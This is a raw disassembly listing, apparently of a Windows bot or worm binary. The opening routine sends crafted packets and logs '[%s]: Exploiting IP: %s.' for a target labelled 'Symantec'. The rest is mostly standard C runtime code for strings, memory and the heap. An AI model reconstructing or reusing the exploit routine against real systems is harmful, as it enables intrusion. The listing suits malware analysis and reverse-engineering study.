loc_41B82E: ; CODE XREF: ___:0041B781j ; ___:0041B78Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4CBA24 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B55B mov esi, dword_427080 add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4DBCCC push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_41B8CE loc_41B891: ; CODE XREF: ___:0041B8CCj mov eax, [ebp-4] movsx eax, byte_4DBCCC[eax] push eax push offset dword_43ADD8 lea eax, [ebp-20h] push 3 push eax call sub_41C360 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B55B add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B9C0 cmp [ebp-4], eax pop ecx jb short loc_41B891 loc_41B8CE: ; CODE XREF: ___:0041B88Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B8E7: ; CODE XREF: ___:0041B8FEj lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B8E7 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B55B add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B938: ; CODE XREF: ___:0041B950j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B55B add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B938 push ebx call dword_4CBA6C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C360 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431800[eax] push 1 lea eax, dword_431800[eax] pop eax loc_41B9B7: ; CODE XREF: ___:0041B829j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B9C0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B9E0 loc_41B9CC: ; CODE XREF: sub_41B9C0+19j mov al, [ecx] inc ecx test al, al jz short loc_41BA13 test ecx, 3 jnz short loc_41B9CC add eax, 0 loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj ; sub_41B9C0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B9E0 mov eax, [ecx-4] test al, al jz short loc_41BA31 test ah, ah jz short loc_41BA27 test eax, 0FF0000h jz short loc_41BA1D test eax, 0FF000000h jz short loc_41BA13 jmp short loc_41B9E0 ; --------------------------------------------------------------------------- loc_41BA13: ; CODE XREF: sub_41B9C0+11j ; sub_41B9C0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA1D: ; CODE XREF: sub_41B9C0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA27: ; CODE XREF: sub_41B9C0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B9C0 endp ; =============== S U B R O U T I N E ======================================= sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+5809p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41BA50 or eax, 0FFFFFFFFh jmp short loc_41BA8A ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA3B+Ej test al, 83h jz short loc_41BA88 push esi call sub_41E42B push esi mov edi, eax call sub_41E3C5 push dword ptr [esi+10h] call sub_41E312 add esp, 0Ch test eax, eax jge short loc_41BA76 or edi, 0FFFFFFFFh jmp short loc_41BA88 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41BA3B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA88 push eax call sub_41BA91 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA88: ; CODE XREF: sub_41BA3B+17j ; sub_41BA3B+39j ... mov eax, edi loc_41BA8A: ; CODE XREF: sub_41BA3B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41BA3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A928+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41BAF7 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_41BABD push esi call sub_41E717 pop ecx test eax, eax push esi jz short loc_41BAE9 push eax call sub_41E742 pop ecx pop ecx jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BABD: ; CODE XREF: sub_41BA91+14j cmp eax, 2 jnz short loc_41BAE8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F472 add esp, 0Ch test eax, eax jz short loc_41BAE8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F4C9 add esp, 0Ch jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj ; sub_41BA91+44j push esi loc_41BAE9: ; CODE XREF: sub_41BA91+20j push 0 push dword_4DD384 nop call near ptr 27B0000h loc_41BAF7: ; CODE XREF: sub_41BA91+Aj ; sub_41BA91+2Aj ... pop esi leave retn sub_41BA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA8Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BB1E xor eax, eax jmp loc_41BBC7 ; --------------------------------------------------------------------------- loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BB31 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j mov ecx, [ebp+arg_0] loc_41BB3D: ; CODE XREF: sub_41BAFA+35j ; sub_41BAFA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BB6F mov eax, [esi+4] test eax, eax jz short loc_41BB6F cmp ecx, eax mov edi, ecx jb short loc_41BB54 mov edi, eax loc_41BB54: ; CODE XREF: sub_41BAFA+56j push edi push dword ptr [esi] push ebx call sub_41CD20 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BB6F: ; CODE XREF: sub_41BAFA+49j ; sub_41BAFA+50j cmp ecx, [ebp+arg_C] jb short loc_41BBA2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BB85 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BB85: ; CODE XREF: sub_41BAFA+80j push eax push ebx push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch test eax, eax jz short loc_41BBCC cmp eax, 0FFFFFFFFh jz short loc_41BBD2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BBA2: ; CODE XREF: sub_41BAFA+78j push esi call sub_41F8E3 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BBD6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BBBA: ; CODE XREF: sub_41BAFA+73j ; sub_41BAFA+A6j cmp [ebp+arg_0], 0 jnz loc_41BB3A mov eax, [ebp+arg_8] loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj ; sub_41BAFA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BBD6 ; --------------------------------------------------------------------------- loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj or dword ptr [esi+0Ch], 20h loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j ; sub_41BAFA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BBC7 sub_41BAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D9B3+35p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41BBFD push [ebp+arg_4] call sub_41BEB5 pop ecx jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41BC12 push [ebp+arg_0] call sub_41BA91 pop ecx jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BC12: ; CODE XREF: sub_41BBE2+20j mov eax, dword_4DD388 cmp eax, 3 jnz loc_41BD22 loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BCFE push [ebp+arg_0] call sub_41E717 mov ebx, eax pop ecx test ebx, ebx jz loc_41BCD9 cmp esi, dword_4DD380 ja short loc_41BC92 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41EF20 add esp, 0Ch test eax, eax jnz short loc_41BC8E push esi call sub_41EA6B mov edi, eax pop ecx test edi, edi jz short loc_41BC92 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC72 mov eax, esi loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj push eax push ebx push edi call sub_41CD20 push ebx call sub_41E717 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E742 add esp, 18h loc_41BC8E: ; CODE XREF: sub_41BBE2+74j test edi, edi jnz short loc_41BCD5 loc_41BC92: ; CODE XREF: sub_41BBE2+62j ; sub_41BBE2+81j test esi, esi jnz short loc_41BC99 push 1 pop esi loc_41BC99: ; CODE XREF: sub_41BBE2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DD384 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41BCD5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BCC1 mov eax, esi loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj push eax push ecx push edi call sub_41CD20 push [ebp+arg_0] push ebx call sub_41E742 add esp, 14h loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj ; sub_41BBE2+D0j test ebx, ebx jnz short loc_41BCFA loc_41BCD9: ; CODE XREF: sub_41BBE2+56j test esi, esi jnz short loc_41BCE0 push 1 pop esi loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 nop call near ptr 2840000h mov edi, eax loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j test edi, edi jnz short loc_41BD1B loc_41BCFE: ; CODE XREF: sub_41BBE2+43j cmp dword_4DBE48, 0 jz short loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BC20 jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj ; sub_41BBE2+123j ... mov eax, edi jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BD22: ; CODE XREF: sub_41BBE2+38j cmp eax, 2 jnz loc_41BE3D cmp esi, 0FFFFFFE0h ja short loc_41BD3F test esi, esi jbe short loc_41BD3C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41BBE2+150j push 10h pop esi loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj ; sub_41BBE2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BE1F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F472 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BE03 cmp esi, dword_43CE74 jnb short loc_41BDC7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F83A add esp, 10h test eax, eax jz short loc_41BD8D mov edi, [ebp+arg_0] jmp short loc_41BDBF ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j push edi call sub_41F50E mov edi, eax pop ecx test edi, edi jz short loc_41BDC7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDA6 mov eax, esi loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j test edi, edi jnz loc_41BD1B loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj ; sub_41BBE2+1B6j push esi push 0 push dword_4DD384 call near ptr 27C0000h nop mov edi, eax test edi, edi jz short loc_41BE1F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDE8 mov eax, esi loc_41BDE8: ; CODE XREF: sub_41BBE2+202j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h jmp short loc_41BE17 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj push esi push [ebp+arg_0] push 0 push dword_4DD384 call near ptr 2840000h nop mov edi, eax loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj test edi, edi jnz loc_41BD1B loc_41BE1F: ; CODE XREF: sub_41BBE2+162j ; sub_41BBE2+1F8j cmp dword_4DBE48, 0 jz loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BD3F jmp short loc_41BE7B ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BBE2+143j ; sub_41BBE2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BE67 test esi, esi jnz short loc_41BE4B push 1 pop esi loc_41BE4B: ; CODE XREF: sub_41BBE2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 nop call near ptr 2840000h test eax, eax jnz short loc_41BE7D loc_41BE67: ; CODE XREF: sub_41BBE2+260j cmp dword_4DBE48, 0 jz short loc_41BE7D push esi call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BE3D loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj ; sub_41BBE2+134j ... xor eax, eax loc_41BE7D: ; CODE XREF: sub_41BBE2+16j ; sub_41BBE2+13Bj ... pop edi pop esi pop ebx leave retn sub_41BBE2 endp ; =============== S U B R O U T I N E ======================================= sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FD3D test eax, eax jnz short loc_41BE8C retn ; --------------------------------------------------------------------------- loc_41BE8C: ; CODE XREF: sub_41BE82+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41FBCD add esp, 10h retn sub_41BE82 endp ; =============== S U B R O U T I N E ======================================= sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+57DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BE82 add esp, 0Ch retn sub_41BEA2 endp ; =============== S U B R O U T I N E ======================================= sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40A928+63p ... arg_0 = dword ptr 4 push dword_4DBE48 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41BEB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap ; sub_41D9A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BEF0 loc_41BECE: ; CODE XREF: sub_41BEC7+27j push [esp+arg_0] call sub_41BEF3 test eax, eax pop ecx jnz short locret_41BEF2 cmp [esp+arg_4], eax jz short locret_41BEF2 push [esp+arg_0] call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BECE loc_41BEF0: ; CODE XREF: sub_41BEC7+5j xor eax, eax locret_41BEF2: ; CODE XREF: sub_41BEC7+13j ; sub_41BEC7+19j retn sub_41BEC7 endp ; =============== S U B R O U T I N E ======================================= sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp arg_0 = dword ptr 4 mov eax, dword_4DD388 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BF17 cmp esi, dword_4DD380 ja short loc_41BF49 push esi call sub_41EA6B test eax, eax pop ecx jz short loc_41BF49 pop esi retn ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BEF3+Dj cmp eax, 2 jnz short loc_41BF49 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BF2C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BF2F ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj push 10h pop esi loc_41BF2F: ; CODE XREF: sub_41BEF3+37j cmp esi, dword_43CE74 ja short loc_41BF56 mov eax, esi shr eax, 4 push eax call sub_41F50E test eax, eax pop ecx jnz short loc_41BF65 jmp short loc_41BF56 ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BEF3+15j ; sub_41BEF3+20j ... test esi, esi jnz short loc_41BF50 push 1 pop esi loc_41BF50: ; CODE XREF: sub_41BEF3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BF56: ; CODE XREF: sub_41BEF3+42j ; sub_41BEF3+54j push esi push 0 push dword_4DD384 call near ptr 27C0000h nop loc_41BF65: ; CODE XREF: sub_41BEF3+52j pop esi retn sub_41BEF3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BFC3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BFB7 neg ecx and ecx, 3 jz short loc_41BF99 sub edx, ecx loc_41BF93: ; CODE XREF: sub_41BF70+27j mov [edi], al inc edi dec ecx jnz short loc_41BF93 loc_41BF99: ; CODE XREF: sub_41BF70+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BFB7 rep stosd test edx, edx jz short loc_41BFBD loc_41BFB7: ; CODE XREF: sub_41BF70+18j ; sub_41BF70+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BFB7 loc_41BFBD: ; CODE XREF: sub_41BF70+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BFC3: ; CODE XREF: sub_41BF70+Aj mov eax, [esp+arg_0] retn sub_41BF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFD0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41C053 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BFF4 shr ecx, 2 jnz short loc_41C061 jmp short loc_41C015 ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj ; sub_41BFD0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41C022 test al, al jz short loc_41C02A test esi, 3 jnz short loc_41BFF4 mov ebx, ecx shr ecx, 2 jnz short loc_41C061 loc_41C010: ; CODE XREF: sub_41BFD0+8Fj and ebx, 3 jz short loc_41C022 loc_41C015: ; CODE XREF: sub_41BFD0+22j ; sub_41BFD0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41C04E dec ebx jnz short loc_41C015 loc_41C022: ; CODE XREF: sub_41BFD0+2Bj ; sub_41BFD0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj test edi, 3 jz short loc_41C044 loc_41C032: ; CODE XREF: sub_41BFD0+72j mov [edi], al inc edi dec ecx jz loc_41C0C6 test edi, 3 jnz short loc_41C032 loc_41C044: ; CODE XREF: sub_41BFD0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41C0B7 loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj ; sub_41BFD0+F4j mov [edi], al inc edi loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj dec ebx jnz short loc_41C04B pop ebx pop esi loc_41C053: ; CODE XREF: sub_41BFD0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C059: ; CODE XREF: sub_41BFD0+A9j ; sub_41BFD0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41C010 loc_41C061: ; CODE XREF: sub_41BFD0+20j ; sub_41BFD0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C059 test dl, dl jz short loc_41C0AB test dh, dh jz short loc_41C0A1 test edx, 0FF0000h jz short loc_41C097 test edx, 0FF000000h jnz short loc_41C059 mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C097: ; CODE XREF: sub_41BFD0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj xor edx, edx mov [edi], edx loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j ; sub_41BFD0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41C0C1 loc_41C0B7: ; CODE XREF: sub_41BFD0+79j xor eax, eax loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41C0B9 loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j and ebx, 3 jnz short loc_41C04B loc_41C0C6: ; CODE XREF: sub_41BFD0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BFD0 endp ; =============== S U B R O U T I N E ======================================= sub_41C0CE proc near ; CODE XREF: sub_41C159+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41C0D6: ; CODE XREF: sub_41C0CE+34j cmp dword_43D084, 1 jle short loc_41C0EE movzx eax, byte ptr [edi] push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C0FD ; --------------------------------------------------------------------------- loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj movzx eax, byte ptr [edi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej test eax, eax jz short loc_41C104 inc edi jmp short loc_41C0D6 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41C0CE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41C114 cmp esi, 2Bh jnz short loc_41C118 loc_41C114: ; CODE XREF: sub_41C0CE+3Fj movzx esi, byte ptr [edi] inc edi loc_41C118: ; CODE XREF: sub_41C0CE+44j xor ebx, ebx loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj cmp dword_43D084, 1 jle short loc_41C12F push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C13A ; --------------------------------------------------------------------------- loc_41C12F: ; CODE XREF: sub_41C0CE+53j mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj test eax, eax jz short loc_41C14B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41C11A ; --------------------------------------------------------------------------- loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41C154 neg eax loc_41C154: ; CODE XREF: sub_41C0CE+82j pop edi pop esi pop ebp pop ebx retn sub_41C0CE endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+717p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C0CE pop ecx retn sub_41C159 endp ; --------------------------------------------------------------------------- mov eax, off_43AE1C test eax, eax jz short loc_41C16F call eax ; sub_41D124 loc_41C16F: ; CODE XREF: ___:0041C16Bj push offset dword_429028 push offset dword_429014 call sub_41C24C push offset dword_429010 push offset dword_429000 call sub_41C24C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41C1B3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp ; sub_422DFC+21E6p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41C1B3 add esp, 0Ch retn sub_41C1A2 endp ; =============== S U B R O U T I N E ======================================= sub_41C1B3 proc near ; CODE XREF: ___:0041C199p ; sub_41C1A2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DBE24, edi jnz short loc_41C1D0 push [esp+4+arg_0] call near ptr 27206A8h nop push eax call near ptr 2710A1Ah nop loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DBE20, edi mov byte_4DBE1C, bl jnz short loc_41C224 mov eax, dword_4DD39C test eax, eax jz short loc_41C213 mov ecx, dword_4DD398 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41C212 loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj mov eax, [esi] test eax, eax jz short loc_41C207 call eax loc_41C207: ; CODE XREF: sub_41C1B3+50j sub esi, 4 cmp esi, dword_4DD39C jnb short loc_41C1FF loc_41C212: ; CODE XREF: sub_41C1B3+4Aj pop esi loc_41C213: ; CODE XREF: sub_41C1B3+3Cj push offset dword_429034 push offset dword_42902C call sub_41C24C pop ecx pop ecx loc_41C224: ; CODE XREF: sub_41C1B3+33j push offset dword_429040 push offset dword_429038 call sub_41C24C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41C24A push [esp+4+arg_0] mov dword_4DBE24, edi nop call near ptr 77E75CB5h loc_41C24A: ; CODE XREF: sub_41C1B3+85j pop edi retn sub_41C1B3 endp ; =============== S U B R O U T I N E ======================================= sub_41C24C proc near ; CODE XREF: ___:0041C179p ; ___:0041C188p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41C251: ; CODE XREF: sub_41C24C+16j cmp esi, [esp+4+arg_4] jnb short loc_41C264 mov eax, [esi] test eax, eax jz short loc_41C25F call eax loc_41C25F: ; CODE XREF: sub_41C24C+Fj add esi, 4 jmp short loc_41C251 ; --------------------------------------------------------------------------- loc_41C264: ; CODE XREF: sub_41C24C+9j pop esi retn sub_41C24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C266 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h 